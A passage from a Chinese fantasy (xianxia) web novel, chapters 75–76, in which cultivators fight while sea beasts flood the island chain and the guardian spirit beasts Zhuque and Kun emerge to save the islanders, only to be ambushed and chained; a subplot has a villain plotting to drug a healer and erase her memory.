宋云岫看到滔天的海浪从东西两侧袭来,海浪中有海兽的鸣吼,巨大黑影在其中穿梭,与海浪一起冲向这座寂静的岛屿,冲向更多的岛。 眼前的一切都在告诉她,海外仙岛是真的出事了。 “……阿娘,岛真的要淹了。” 作者有话说:不知道大家能不能理解这个地貌,就是相当于一个盆地的样子,海外群岛的四面八方相当于围了一圈高山,水势特别高,被平海的禁制阻拦无法倒灌,海域足够辽阔,海兽的体型也会越长越大,而这些百姓活动和居住的地方,就是那个被环绕的盆地,海兽体型没有那么大,水平面不高,淹不了岛~ 第75章 第 75 章 朱雀和鲲 慕夕阙和闻惊遥在半路与越疏棠和迟笙兵分两路, 两个靠不断燃烧传送阵,乘坐渔船奔向最近的岛,两个借助一瞬百里的速度躲开不时跃起的海兽, 踩着海兽露出的脊背瞬移奔向西南侧的万里外。 这片海已成怒海,浪有百丈高, 闻惊遥拽住慕夕阙的手躲过一只海兽, 两人踩着它的脊背借力跃出百里,一路上衣裳已经湿透。 闻惊遥侧眸看她,边跑边问:“夕阙, 既已告知他是陈家老祖,那先前使用慕家流星刃杀害燕青来的人,怕便是他了。” 流星刃乃慕家老祖亲创, 当年兰洵与慕家那位老祖关系不错, 兴许便见过她用这流星刃, 以兰洵的天资, 学会并不难。 慕夕阙躲开一只冲来的海兽, 并未回话,但沉默已是默认,这些她猜出来并不难。 闻惊遥又道:“十三州没办法驰援, 以你我之力无法阻拦他们击碎禁制,兰洵想让海外仙岛没落, 逼玉灵出山, 趁它们虚弱之际诛杀它们。” “我知道。”慕夕阙冷声道,狂风将她鼓动的长发和金衫拉成一条细线, 她奔向前方。 慕夕阙道:“到这种局面,只有玉灵出山才能扭转局势,它们必须出来。” 闻惊遥沉默, 他的耳边是海浪拍击的巨响,海兽的嘶吼以及急速流过的簌簌风声,纵使如今青衫尽湿,燃灵力一路奔移,数次险些被海兽的獠牙刺穿肌肤,明明局面紧急,他却又觉得内心安宁平静。 青梅竹马十七年的情分,他知道慕夕阙要做什么。 护佑了海外仙岛万年的平海禁制已被摧毁一半,高百丈的海水倒灌,不断有海兽涌进来。 每隔百里便会见到几名影杀杀手,一刀将禁制劈碎,而这些将整个海外群岛囊括起来的平海禁制已所剩不多。 兰洵操控那把巨刀疯狂砍击结界。 他在发泄他心中的怒火,若有海外仙岛的大能在此刻前来,皆都死于他的刀下。 一个万年前便扬名十三州和海外仙岛的修士,在这万年里靠着玄武的长寿之力活到如今,通过汲取玄武的寿数来让自己长生,不间断地修炼,早已不是这些年岁不足他零头的修士所能比及的。 倏然之间,后方利风劈斩而来,兰洵飞速侧身躲过,闻惊遥的青剑擦着他的面门经过。 慕夕阙也从另一侧闪现,夹击兰洵,趁他防备之际,闻惊遥紧随其后,两人一左一右攻上,两道剑光重击过去,将兰洵逼退到几十丈远外。 兰洵悬立虚空,百里外的影杀尚赶不过来,这里只有他们三人。 他抬眸看过来,忽然笑了:“好胆量啊,我以为你们会去守岛呢,慕二小姐,闻大少爷,有时我觉得你们过于心善,有时又心比铁硬,竟真能束手看那些百姓死去?” 慕夕阙和闻惊遥却分毫不惧,不听他废话,两个化神境修士有神器加持,而兰洵前些时日被玄武玉灵之力重创出的伤尚未好透,又在影杀大杀了一通,还操控刀影击碎这些留存万年的禁制,竟被这两个小辈拖住手脚。 他嗤笑一声,慢条斯理歪头躲过慕夕阙的剑,却又单手握住闻惊遥挥来的剑芒,将其击碎,一掌打至闻惊遥肩头。 他好似对闻惊遥格外恨,出手狠辣,招招致命,却并未对慕夕阙动用杀招,而只是想着重伤她。 慕夕阙挽剑攻来,兰洵却侧身避开,仿佛没看到她露在面前的命门,一掌轰在她的脊背,将她险些砸落进海域。 而慕夕阙踩着一只跃起的海兽,看也不看身上的伤,跃起再次攻来。 闻惊遥与她相互配合,一攻一守,目光在不经意间对视,彼此的眼底尽是冷沉- 生活在海外仙岛,他们世世代代与海朝夕相处,这片海虽然夺走过渔民的性命,但带给他们更多的是生的希望,仙岛多雨,若遇上雨季,一月二十日都在下雨。 可这些年海面从未上涨,它始终维持在安全范围,以至于一半的百姓在听到有人高呼海浪过来之时,心下只觉得好笑。 可紧接着,他们便听到了噼里啪啦的声响,像是有什么东西砸落在街上和屋顶,有些甚至将青瓦砸穿,摔进屋内。 那是鱼虾海产,是他们出海才能捕上来的海产。 众人冲出家门,远处的海浪声势浩大,他们看到高有百丈的巨浪从远处袭来,而海浪中裹挟而来的巨物让人觉得仿佛在做梦。 大多数百姓从未见过海兽,他们在落日前会归航,如今才知道,老辈们说的海兽到底有多么恐怖,一只兽瞳都有一栋高楼般大。 “海……海浪来了!” 众人这才惊觉,根本不是什么童言稚语,那是真的! 他们拖家带口,连衣服都来不及披上,抱着孩子,背上年迈的老人,未带一物飞快朝高处奔去,可人又怎么能跑得过海呢? 一艘刚刚补好禁制的灵舟在海浪扑上岸边之时拔地腾空,老者站在甲板上,望向下方,骇浪已冲上海岸,将拴在岸边的渔船全部冲垮,同样带来了那些对人修而言是灭世灾难的海兽。 这些海兽被催化,变得嗜血疯狂,海浪将海兽推上岛,体型庞大的海兽撞碎了一座座房舍,海水流满街巷,瞬间淹没百姓。 这是海兽的饕餮盛宴,是渔民们的噩梦。 不仅这座岛,也不仅这些百姓。 老者叹息,他一个修为低微的人修,又能做得了什么呢? 他甚至不能救下此刻被挟持的族人。 老者转身,掌舵冲向一座孤岛,那女子昨夜给他的灵球里,塞了张纸条,请他修好灵舟后送几人回到十三州。 在他刚离开没多久后,又一艘灵舟从远处开来,掌舵的是个年仅十岁的孩子。 阿宥生涩操控着舵盘,双眸含泪,看着下面的惨像,这对于一个孩子来说太过残忍,他的身后不远处,站着个衣着缥缈的白衣青年。 燕如珩望向下方,目无情绪,一旁的燕家弟子都忍不住别过头,不敢再看。 纪挽春也皱眉,越发不懂这位鹤阶主子到底要做什么,原先说带领他们称霸十三州,除掉对鹤阶有异的宗派,可现在已经攻到海外仙岛了,两边素不往来,海外仙岛又怎会威胁鹤阶地位? “纪长老不忍心,觉得那位心狠?”燕如珩轻飘飘问。 纪挽春赶忙道:“怎会,在下绝无此意。” 燕如珩回头,他裹着披风,素净得像是块白玉,温文尔雅用在他身上再合适不过,可实际上,这人剖开胸膛,心黑得不得了。 纪挽春垂眸。 燕如珩道:“你自然不会不忍心,能做这些年的腌臜事又怎会有怜悯之心,长老只是担忧自己的未来罢了,你害怕杀业太多遭天谴,害怕那人目的不纯,怕会对你们卸磨杀驴?” 纪挽春抬眸:“燕少主,人不为己天诛地灭,操心自己的未来并无错吧?” 燕如珩温和一笑:“自是无错,我又没说什么,也不会背后毁谤,两面三刀之人我也痛恨。” 似乎风太大了,他拢了拢披风,经过纪挽春之时停顿,微微侧眸看他:“但在下还是要提醒一番,长老得记住自己站在哪艘船上,一船沉,满船亡,覆巢之下无完卵的道理,长老知晓。” 纪挽春站在舟上。 待燕如珩进入船舱内,身后的鹤阶弟子上前,小声问道:“长老,海外群岛人太多了,若真的漠视,怕杀业太多真的会遭天谴——” 纪挽春蓦地回眸,将弟子的话用眼神堵回去,他的眸底有过犹豫恐慌,最后,他闭了闭眼,冷声道:“没有办法,禁制已经毁了,若真有天谴,那就等它劈下来吧。” 他仰头望向深沉夜幕,今夜浓云太重,连繁星都被遮掩。 “怎么会有天谴呢,这世上胜者为王,败者为寇,我们又有什么错?” 纪挽春拂袖,看了眼掌舵的阿宥:“去那座孤岛,将燕家人放下去。” 此番前来,他们还得为燕如珩接上灵根,如今慕夕阙和闻惊遥几人都离了岛,便不会正面相撞了。 惊涛骇浪仍在摧毁这些岛屿,所有修士全部出现,他们纵身穿梭在大街小巷内,从海水中捞起一个个人修,用自己渺小的身躯抵挡庞大的海兽。 海外仙岛有三大门派,除影杀外还有两个宗门,三大门派共同执掌海外群岛,修士虽比不上十三州的多,但也有上万人。 可上万人也不够,远远不够。 抱着孩子的女子跌在地上,一只鳄龟已追上来,张开巨口准备将她和这个尚在襁褓中的孩子吞入,女子惊恐抱紧孩子,远处的丈夫尖叫着想要冲上前救下他们。 绛紫的缚绫从远处袭来,卷起摔在地上的女子,一人飞快掠过,扯起那男子的衣领,将他们一家三口抛至远处尚无海兽的地方。 “朝山上跑!” 越疏棠冷声道,不再看他们三人,飞快出剑解决这只能上岸的鳄龟。 水陆两栖的海兽有太多种类,过去这些海兽体型太大,很难靠进浅水区,也不可能上岸,可如今水位上涨,将它们也带来。 越疏棠和迟笙穿在一个个小巷内,捞起百姓,斩杀已经靠近百姓的海兽。 所有百姓拼了命地朝高处跑,而海水已经淹没了这座岛三分之一的地方,水位仍在上涨。 越疏棠望向远处,大能们从远处奔来护佑这些岛,并未再往禁制赶去,应是禁制那边有人传信让他们返航。 迟笙匆匆道:“可他们若是都来了,并未去守禁制,禁制若全数碎裂,这些岛便彻底完了!” 一只海蛇从侧方攻来,越疏棠拽走迟笙跳至高楼,厉声道:“去了也无用,海外仙岛大乘境修士只有三人,一位便是夜迢,剩下两位大能早已闭关冲渡劫去了,不可能出现在这里!” 正说着,从身后忽然窜出一只鲛怪,张开布满獠牙的深渊巨口便要咬碎两人,越疏棠瞳眸微颤,下意识将迟笙推离。 “阿姐!” 迟笙摔到远处,惊恐看着来不及逃的越疏棠。 漫天血雾炸开,像是下了场血雨,那血却并不是越疏棠的血,而是那只鲛怪,被一击流光击碎盔甲,炸开血肉。 一人站至高处,白衣缥缈,孤身一人悬立虚空,却像有千军万马在他身后般坦然从容,两鬓如霜,却腰杆笔直。 他垂眸看过来,笑道:“小姑娘,怎么这般猜呢,老夫坐镇海外仙岛,未飞升前便会一直守着你们。” 贸然出关,百年心血付之东流,此生再无突破渡劫的可能性。 可今日他来了。 扶然现身,想必温灵筝也已出关,两位大能放弃冲渡劫,出关守岛。 扶然抬手,已漫过三分之一岛屿的海水连带那些海兽被灵力托举,大乘境修士一人便能令满岛屿的海水倒吸,在海兽的鸣吼中,扶然须眉一横,将海水连带着海兽砸回。 灵力罡罩囊括整座岛屿,将要再次兜头砸来的海水和海兽抵挡在外,随后扶然冲出罡罩,只留下一句温和中带了肃重的话。 “只能撑住一个时辰,将所有修士唤来,撑住结界。” 越疏棠和迟笙看着他飞向另一座岛屿,很快身影便消失不见。 想必此刻温灵筝也正在以同样的方式,以损耗自己的修为为代价,抽走整座岛的海水,逼退海兽,为这座岛留下一个时辰的喘息时机- 外头波涛汹涌,万里外的孤岛却是唯一的祥和之地。 梅枝雪调动灵力,将慕从晚的最后一根经脉洗净,冲去她体内的秽毒。 而慕从晚脸色惨白,身上大大小小的口子流出了黑沉的雾气,在那些逼出体外的秽毒尚未来得及寻找下一个寄主之时,梅枝雪便已经用沾有十二辰灵力的琉璃瓷瓶接住那些秽毒。 从慕从晚满月便被种下的秽毒,这些年在她断裂的经脉内蛰伏,因为没有灵力催化,始终未入丹田,梅枝雪便用洗经拔髓的法子替慕从晚逼出那些秽毒。 慕从晚疼得牙关打颤,将嘴唇咬得鲜血淋漓,脸色煞白,身上单薄的白衫被冷寒浸湿,梅枝雪看她一眼,挥手将屋内的暖炉点起。 慕从晚的身子在发抖,梅枝雪站远了些,安静看着她,在等了约莫半刻钟后,她忽然弯腰剧烈咳嗽,呕出大滩的淤血。 梅枝雪上前,抬手蕴出灵力打入她的经脉,找到她断裂的灵根,接上灵根的疼痛不比祛除秽毒轻半分,这样撕心裂肺的疼她要再经历一次。 梅枝雪垂眸看她,明明如此瘦削羸弱,忍痛的功夫却不是一般人能忍的,接通经脉是冰火两重天的折磨,慕从晚的脸上时而覆上霜雪,森寒到抱紧自己,又时而灼烫赤红,将自己的掌心掐出血淋淋的指甲印。 蔺九尘几人坐在外面等了许久,姜榆和师盈虚垂着脑袋,没一个人敢睡,他们都知道外面怕是出事了,方才也听到了似乎海浪翻滚的声音,却又忽然间消失不见,仿佛被这座岛屿隔绝在外。 又等了一个时辰,天已经蒙蒙亮了,竹楼紧闭的大门终于打开。 “吱呀”的声音像是钟鸣,将三人的意识唤醒,几人立马起身,梅枝雪从屋内走出。 蔺九尘薄唇微抿,向来沉稳冷静,在此刻竟有些畏首畏脑:“……前辈。” 梅枝雪淡声道:“经脉接上了,能撑过三日便能活,撑不过便是死。” 蔺九尘几人的脸色陡然沉下,梅枝雪却越过他们望向远处:“一艘灵舟来了,你们回十三州吧,在我这里保不住她的命。” 以梅枝雪的修为,能一目百里,自然能看到远处天际飘来的灵舟,她回身进屋,示意蔺九尘跟上。 慕从晚已经昏厥,梅枝雪替她裹了件披风御寒,对蔺九尘道:“背上她,你们回十三州,别再来了。” 跟进来的师盈虚匆忙道:“怎么能回去,夕阙还在这里!” 梅枝雪回眸看她:“你在这里帮不上什么忙,可知外面如今是什么情况,这些岛有九成的概率会彻底沉没。” 师盈虚和姜榆面色一白,愣愣看着梅枝雪。 蔺九尘将慕从晚背上,冷声说:“阿榆,师大小姐,我们回去。” 师盈虚红着眼:“可是夕阙还在——” “回去。”蔺九尘道,“只有先回去,才能想办法帮他们。” 几双眼睛对峙,灵舟也已悬停在这座孤岛的上空,担心那些海兽袭击,这艘灵舟此次飞得格外高,高到足以躲过所有海兽。 屋内安静了会儿,最终,师盈虚别开眸子,沉默出门,踩着房檐抓住从灵舟上放下的麻绳,掌舵老者用力将她拽了上来。 姜榆是第二个上舟的,蔺九尘背着慕从晚也紧随其后,几人站在灵舟上,垂眸看院里的梅枝雪,她孤身一人,负手而立,安静目送他们,眸中无悲无喜。 掌舵老者叹息了声,转身道:“启航了,咱们回去。” 灵舟远离孤岛,飞在万丈高空,驶向祭墟的方向。 祭墟的另一侧,便是十三州。 在梅枝雪的小院逐渐缩成一个圆点之时,姜榆忍不住开口:“那就放夜迢和医仙在一起吗?” 蔺九尘垂眸道:“梅医仙有自己的决断,我们也有我们要做的事。” 他转身,将慕从晚带进尚且破旧未完全修补好的船舱内,外头的甲板只有师盈虚、姜榆和那个掌舵的船夫。 在这艘灵舟刚离开没多久,一艘尚且完好的灵舟落在了岛上,燕家弟子率先下来,燕如珩裹着披风慢条斯理走下,有弟子即刻上前为他布下灵罩,避开瘴雾侵蚀。 燕如珩仰头望向浓郁的瘴雾:“医仙在上面?” 一旁的燕家弟子颔首:“是。” 燕如珩不再说话,抬步朝高处走去。 梅枝雪站在竹楼顶端,垂眸望向密林尽头的瘴雾,盯着那些从岸边往上走的人。 夜迢轻易挣脱缚仙索,从屋内走出,仰头看着梅枝雪单薄的身影,他翻身跃上楼顶,悄悄走上前,伸手想要触碰她。 无形的结界挡住了他的触碰,梅枝雪用灵力避开了他的手。 夜迢垂眸,忽然笑了一声:“阿雪,若当年未出事,我们早已是道侣,你给我那张未结完的婚契,我便将比翼鸟的心脏还给你。” 梅枝雪回眸看他,忽然弯眸一笑:“好啊。” 迎着夜迢惊愕却又难言惊喜的眼眸,梅枝雪一字一句道:“你只拿了一只比翼鸟的心脏吧,剩下一只心脏,在他手里。” “燕如珩要向我求医,是吗?”梅枝雪抬手指向山下,弯眸对夜迢笑盈盈道,“夜迢,燕家给了你什么好处呢,能让你将一只比翼鸟的心脏都送出去。”- 这的确是场灭世之灾,这是覆灭海外仙岛的灾难。 这座有二十多万人的岛被灵力罡罩保护着,岛屿之巅已经站满了人,这些从低处向高处跑的百姓缩在一起,看着灵力罡罩外翻滚的海水和疯狂撞击的海兽们。 此刻不仅这座岛,整个海外仙岛一百多座岛屿都经历着灭岛之灾,或许有些人口稀少的岛屿,已经消失在了这场史无前例的骇浪之中。 他们渺小到毫无抵抗之力,尚存的修士们在拼命支撑覆盖岛屿的结界,顶着万顷重的压力,不断有人从虚空砸落在地,却也有更多的人从地面拔地冲上。 迟笙已经是第三次摔落,她没空管自己摔折的腿,再次腾空,支撑被海水压迫的结界,隔着一层薄而透明的禁制,与一只狰狞的海蛇对视。 那只海蛇冲她张来巨口,獠牙染血,却又被扶然留下的禁制阻拦在外。 宋母抱紧两个孩子,与诸多渔民一同躲着,他们不敢抬头看,这些能吃了所有人的海兽和能淹死人的巨浪,将他们全部吞噬只是一瞬间的事。 母亲的手紧紧捂着两个孩子的眼睛,宋云岫缩在宋母怀里,宋云霁握紧手,听着耳边有人砸落的撞击声,有人冲上前的簌簌声,他咬紧牙关,透过母亲的指缝,看到那个蓝衣少女再次摔落。 救过他和阿妹的迟笙,那个姐姐一直都在这里,这已经是她第六次掉下来了。 在她第七次掉落时,宋云霁忽然发了力,推开母亲抱紧他的胳膊。 “阿霁!” “兄长!” 宋云霁不顾身后母亲和阿妹的喊叫,他冲上虚空,顶上迟笙的位置,微薄的灵力加注在罡罩上,撑着这方被几万顷重的海水和巨兽压着的禁制,纵使这股重力让他撑得浑身都疼。 越疏棠侧首看他,认出这是她昨夜和迟笙救下的孩子。 她没说话,迟笙也已调整好状态腾空飞来,小姑娘摔得灰头土脸,看了眼宋云霁和他身旁红着眼睛跟来的宋云岫,忽然笑道:“都说什么天塌了有高个子顶着,这次是真塌了,我看身量不高的孩子也能撑住天!” 可能撑一刻,又能撑多久呢? 半刻钟后,已经有无数人砸落摔得无法动弹,百姓们只能哭着上前将他们拖入人群,能撑下去的修士已经不多了,他们望着漫天黑影,渺小的人修在硕大的海兽面前不值一提,宛如蚍蜉撼树。 宋母捂着嘴痛哭,头发花白的老者也低头抹了眼泪:“完了啊,这是场劫啊。” 有人哭着骂道:“什么劫!玉灵还在呢,别说丧气话!” “朱雀和鲲在,我们的玉灵还在!” 无数人附和,有些人连逃跑都带着玉灵的神像,可他们信仰的玉灵除非在面临灭世大灾,否则是绝不可能出山的,两只玉灵并无契约人,只因这海外仙岛不同于十三州,并未按照地界划分。 两只玉灵,要护佑一百多座岛屿,海外仙岛没有真正的领头人,百万百姓们供奉的是两只玉灵,并未划分哪几个岛屿供奉谁。 他们只能跪倒在地,朝着远处的两座山跪拜。 求朱雀和鲲再救一次海外仙岛,就如万年前那般,朱雀守空,鲲则镇海,两只玉灵齐力绞杀祟种,力挽将要沦陷的海外仙岛。 几千头海兽撞击着结界,结界上逐渐爬上裂缝,越疏棠近乎惊恐地看着那道裂缝越来越大,她拼命想要修补,可补好这处,另一侧又会出现裂缝。 一个年轻的修士道:“撑不住了!结界要碎了!” “不行,必须撑住!”越疏棠听到自己的骨骼被压碎的声音,那些海兽和海水越来越重,支撑结界的修士以缓慢的速度被压下高空,而结界上的裂纹越来越多。 越疏棠垂眸看过去,十几万百姓跪满了山林和街道,他们面朝那两座山的方向跪拜,以头抢地,嘴里唤着两只玉灵的名号。 越疏棠在此刻,既希望朱雀和鲲鹏出现,救下这些百姓。 又希望它们不要出现,不要步入敌人埋好的杀阵,用它们的性命、以同归于尽为代价镇海。 可当结界上压下的重力越来越难以抵挡,修士们一个接一个掉落,她不断听到有骨骼碎裂的声音响起,她清楚感知到自己的双臂因骨裂逐渐无力,而百姓们的哭喊声不绝于耳。 裂缝爬满结界,将人修重重压下,越疏棠在听到结界碎裂的声音时,还听到了一声响亮的啼哭声。 那是一个尚在襁褓的孩子,被几乎只有几丈距离的海兽吓得啼哭不已,年轻的母亲含泪捂住他的嘴,却又堵不住孩子害怕的哭声。 越疏棠闭上眼。 她错了,在那一刻,她希望玉灵出现。 “朱雀!鲲!” 她一人的声音,与上万嘈杂的声音交融在一起,远在万里外的其他岛屿,尚未覆灭的岛上数不清的百姓们,在生死攸关之际,想到的唯一能救他们的存在,是两只栖息于山内的玉灵。 朱雀和鲲。 扶然和温灵筝在挥出最后一击,击杀几头庞然巨物后,灵力耗尽的两人先后落入海里,当两位大能死去的刹那,由他们二人布下的一百余个结界再也没有抵抗海浪和巨兽的能力。 海水兜头砸下,带来嗜血的海兽。 尖叫声响起,父母抱着孩子,年轻的夫妻抱紧彼此,宋云霁扑向宋云岫,越疏棠也惊恐地将迟笙拉进怀里,用脊背迎接巨浪。 可比海浪和巨兽更快的,是一声响彻长空的唳鸣,以及闷重肃穆的吼声。 几万里外,慕夕阙和闻惊遥被重重打入海里。 闻惊遥翻身将慕夕阙护住,挡下一只海兽的獠牙,而慕夕阙也快速反应过来,拽住他的手在海兽攻来前从海里跃出。 两人的衣摆滴血,凡是露在外面的地方全是伤,而方才还与他们厮战的兰洵早已消失不见。 朱雀的啼鸣和鲲的吼声能传扬几万里,慕夕阙和闻惊遥听着那震耳欲聋的玉灵之声。 “玉灵出山了。” 作者有话说:这段剧情还有两三章,就能写到前世的隐情了,把大纲调整了一下进度,进度提前了些~ 今天来晚了,发个红包~《 》 75-80 第76章 第 76 章 挣脱 数不清具体多少年前了, 有将近两三万年,朱雀率先来到这一片冰川所在之地,传闻它是南方七宿的化身, 不灭之火融化了冰岩,这里成为汪洋海域。 后来鲲入海, 它的福泽为这片海带来了鱼虾海产, 有宜居的岛屿,有能支撑生业的海产,于是海外群岛便来了一批又一批百姓, 日新月盛。 那些以骇然之势要淹没群岛的海水被无形的力量截停在虚空,海兽的脸紧紧贴着一层透明的屏障,身后的海兽朝前面的海兽砸来, 摞成了一座海兽山, 将最底下的海兽压成了血雾。 越疏棠抱紧迟笙, 宋云霁也抱紧宋云岫, 耳畔那声响彻长空的唳鸣和苍浑有力的兽吼穿云而过, 宛如定心丸般逼退恐惧。 身披流羽的朱雀腾空,赤红与鎏金交叠的翎羽宛如烈焰,它从那座崩裂的山中拔地飞出, 长而宽的尾羽在风中燃烧出赤金火焰,扬首唳鸣, 随后旋翅自万丈高空俯冲而下。 另一座高山也崩裂, 碎石与泥土落进海中,一只体型浩渺庞大的巨物穿梭在海里, 它从海渊内潜出,一头扎入海中,尾鳍重拍在海面上, 荡起了足有千丈高的水帘。 体型辽阔到这些庞大如岛屿的海兽竟比不上它的一只兽瞳。 两只玉灵达成共识,鲲从不出海,也未有遨游天地之时,它来镇海,为百姓带来鱼虾海产,阻止海底大型旋涡的诞生。 而能一瞬万里,燃万里炽火的朱雀守空,抵御寒冷霜雪,使海外仙岛的气候常年温暖宜居,再不会变为几万年前的冰川。 鲲一声震彻寰宇的啸声,高到百丈的海浪被倒抽回去,连带着那些肆虐的海兽也一起退回,有无形却强大的力量将高出的海水推出。 百姓们仰头,眼前燃起熊熊烈火,他们看到一双几千里长的翅自头顶飞过,那是一只被烈火包围的神鸟。 随着它飞过,它周身的火焰落入海中,竟连海水都未熄灭炽火,百姓们站在高处可以看到远处以肉眼可见之速降下的水位,多余的海水被鲲推出万里之外。 整片海竟然燃起了鎏金赤红的火焰。 而那些被秽毒侵蚀,已然狂化的海兽疯狂挣扎,被朱雀的不灭之火烧成灰烬,随着怒浪一同被鲲推出原本平静的内海,去往几万里外的怒海。 朱雀盘旋在虚空,鲲畅游海底,火焰将狂化失神的海兽烧成灰烬,鲲鸣将怒涛骇浪推离,无数人在一座座岛上看着远处,一道白光自天际闪现,撕破黑暗。 而朱雀的火焰熊熊燃烧,为整个海外仙岛驱逐森寒和晦暗。 这场火持续了两刻钟,鲲鸣不断,海深迅速退去,随后鲲高鸣一声,庞然大物冲向东侧,朱雀则背离鲲去的方向,去往西侧。 海面的赤火消失,怒浪和海兽也离开,有人去往岸边,低头捞了一捧海水,澄澈中尚带了暖意,不再刺骨森寒。 他们赖以生存的海产并未被赤火摧毁,朱雀的火是有灵性的,它燃烧海域,却只烧干净这些从外海攻来的巨物和已被狂化的海兽,而渔民们要捕猎的海产,在鲲的护佑下并未被波及。 冲垮的渔船七零八落飘在海面上,被温和的浪推回来。 宋云岫问自家兄长:“阿兄,朱雀和鲲去哪里了?” 宋云霁摇摇头:“我不知。” 他甚至不知这骇浪从哪里来的,那些体型远大于先前所见海兽的巨兽又是从何处被送来的,海外仙岛知道禁制的人不多,一个刚入道的修士又能如何知晓? 可越疏棠知道。 事到如今,两只玉灵为了庇佑百姓已经出山,走入这场针对它们的陷阱,这些秘密还有必要瞒着吗? 越疏棠闭了闭眼,低声道:“它们去补禁制了,禁制不补上,几万里外无法估量的海域里还有数不清的海兽和骇浪,朱雀和鲲是无法一直替我们撑着的。” 百姓们愕然看去,这隐瞒了万年的秘密陡然揭露。 有人讷讷问:“……什么禁制?” “平海的禁制。”迟笙咬牙道,“你们知道这些岛是怎么出现的吗,曾经它们只是埋在海里的礁石罢了,这海外仙岛只有那两座岛露出了头成为了山,朱雀融化冰川,鲲将多余的海水逼退至几万里外,才让这些埋在海底的岛露出了头,给了我们宜居的地方。” “这么多年了,海外仙岛的海平线便从未涨过一寸,得益于那竖立在几万里外的平海禁制,为我们抵御未知海域的海浪和海兽。” 可那禁制有多大呢? 它绕着海外仙岛围成一个圈,从东到西直径不可估量,比上百个海外群岛的范围还大,当年两只玉灵掏空神力立下禁制,这次也同样如此。 补全这些禁制,会让两只玉* 灵变得极其虚弱。 它们不知这里还有等待斩杀它们的人。 在看到海潮褪去,海兽消失之后,隐藏在难民中的一些人悄无声息来到人少的岸边,从乾坤袋中祭出几艘渔船,朝着两只玉灵消失的方向驶去- 梅枝雪就这般看着燕如珩和几个燕家弟子穿过瘴雾走来。 面如冠玉的白衣公子对她拱手行礼:“前辈,在下乃十三州赤敛燕家少主燕如珩,此番贸然扰前辈清修实在不妥,可在下实属无奈,只有前辈能救在下一命。” 夜迢沉默不语,梅枝雪也冷着脸不说话。 燕如珩并不生气,他抬起头,说话的姿态虽礼貌,可眸中却并无半分尊敬,他看着梅枝雪,弯唇道:“在下先前重伤,被击碎了半数心脉,灵根也因此断裂,不知前辈可否替在下医治?” 梅枝雪冷声道:“能治,但你心脉已经重创,若接好灵根让灵力游走,亏空的身体容纳不了灵力,活不过十年,当个凡人只治好心脉还能活上几十年。” 燕如珩笑出声来,温和道:“这便不劳医仙忧心了,能活几年是几年,在下宁愿作为修士早死,也不想成为个手无缚鸡之力的凡人活上几十年。” 梅枝雪面无表情:“我为何要救你?” 夜迢站在梅枝雪身后,并未参与他们的交谈。 燕如珩低头咳嗽几声,锦帕擦去唇角的血,他又笑起来,仰头看着梅枝雪,身旁的弟子抬手祭出一方宽大的琉璃盒。 燕如珩问:“不知这东西可否作为诊金?” 梅枝雪垂下的手攥紧。 琉璃盒很大,是专门打造的盒子,比翼鸟就算身量没有朱雀和青鸾那般庞大,却也有一头海兽般大小,它们的心脏自然也大。 这琉璃盒周身白雾缭绕,寒气缕缕,而其中放置的,是一颗赤红的心脏,早已停止跳动,离体后变得暗淡不少。 梅枝雪掠下竹楼,抬手便要去夺琉璃盒。 燕家弟子赶忙收起,躲过她的进攻,燕如珩则轻飘飘说:“前辈莫要冲动,我既敢来,便能保证没在下颔首,你打不开这琉璃盒。” 梅枝雪扑了个空,她站在原地,侧首看着他们。 燕如珩长身玉立站在远处,而他身后更高的地方,夜迢一身红衣立于竹楼顶端,两人都在看她,一个如豺狼般阴险,一个神色复杂难以辨别真心。 “不知前辈愿意医治吗?”燕如珩温声问。 梅枝雪安静看他许久,约莫有一刻钟,燕如珩脸色始终未变,虚伪的笑挂了整整一刻钟。 末了,梅枝雪弯唇嗤笑一声,转身进屋:“进来。” 夜迢从竹楼跃下,燕如珩从他身前经过,将一个白玉瓶塞给他,用极轻的声音说:“将这点上。” 燕如珩进屋,关上了门。 夜迢站在门外,低头看着自己掌心中的白玉瓶。 这毒药特制,加入了麒麟的鳞甲中和毒性,纵使是医仙也觉察不出毒性,今晚他便会以另一只比翼鸟的心脏逼迫梅枝雪缔结婚契。 待她的记忆快被蚕食后,燕如珩会替她解毒,此后夜迢便会带着失去记忆的梅枝雪离开。 只要有婚契在,夜迢可以骗梅枝雪他们早已结亲,只是她因意外失去了记忆,记忆全无的医仙会放下所有戒备。 此后再无医仙,也没有影杀阁主,只有居住在一座小村子里的夜迢和他的夫人。 屋内的梅枝雪开始为燕如珩接灵根,她闭目专心,未曾闻到半开的窗外飘进来的无色无味的香- 朱雀去往西侧,它一瞬万里,眨眼便到了破损的禁制前,唳鸣一声,随着它的振翅,赤金火焰烧上古铜色的禁制,它绕着禁制翱翔,带有玉灵之力的火焰将几万里长的禁制一点点修补。 随着越来越长的禁制补上,它翱翔的速度变得缓慢,它的啼鸣也不再如方才那般清脆,振翅的力道也愈发虚弱。 在补完最后一处禁制后,朱雀正欲扬首飞上高空,找个能落脚的栖息地,凭空出现几十根锁链,捆缚住它的双翼和金足,两根在空中盘旋,绕过它的脖颈。 而一张不可估量的巨网兜头落下,提前下好的禁制亮起金光,将挣扎的朱雀桎梏。 虚弱的玉灵连腾飞都已是不易,根本未注意万丈高空下何时出现了渔船,船上的修士几十个站成一队,死死拽着锁链,将要飞上高空的朱雀压制。 几万里外,鲲补好另一半的禁制,百艘渔船忽然出现,蒙面之人用同样的方式,在鲲要潜入海底之时捆缚它浩渺的身躯,它沉重低鸣,拖拽着要往海底去。 掏空神力的玉灵连化神境的修士都未必敌过,随着它拼死挣扎,那些带有利刺的锁链勒进它的血肉,已变得澄澈的海水再次被血染红,这次染红它的血,来自于鲲。 百位修士被拽入海里,剩下的人拼死用力拖拽锁链,锁链上束缚玉灵的符咒来自早已失传的上古阵术,鲲不知道这些人修为何要对它出手,又为何要用这种令它疼痛的方式拖拽它。 鲲没办法潜入海底寻找海渊,朱雀也无法飞上高空另寻歇脚的地方。 两只玉灵被束缚在两边,而在它们之间,一道黑影出现,他悬停在万丈高空内,垂眸听着两侧玉灵的鸣吼,痛苦的声音传扬万里,能令整个海外群岛都听清。 兰洵抬手,足以蔽日的刀影逐渐凝实,他两掌一挥,两柄刀影拔地腾飞,去往两侧几万里外。 一柄刀悬停在朱雀上方,一柄在鲲的上方。 兰洵眸底赤红,抬掌落下,操控几万里外的两柄刀以骇然之势劈斩而下。 朱雀扬首,发出一声清脆的啼鸣,鲲在海里翻滚,又将不少人带进海里。 远处匆匆赶来的几千艘渔船惊恐看着,一路疯狂燃烧灵力催动渔船加速的海外仙岛修士们瞳眸微颤,他们看着两柄巨刀落下,锁链桎梏了玉灵的自由,两柄刀一个斩向朱雀,一个斩向鲲。 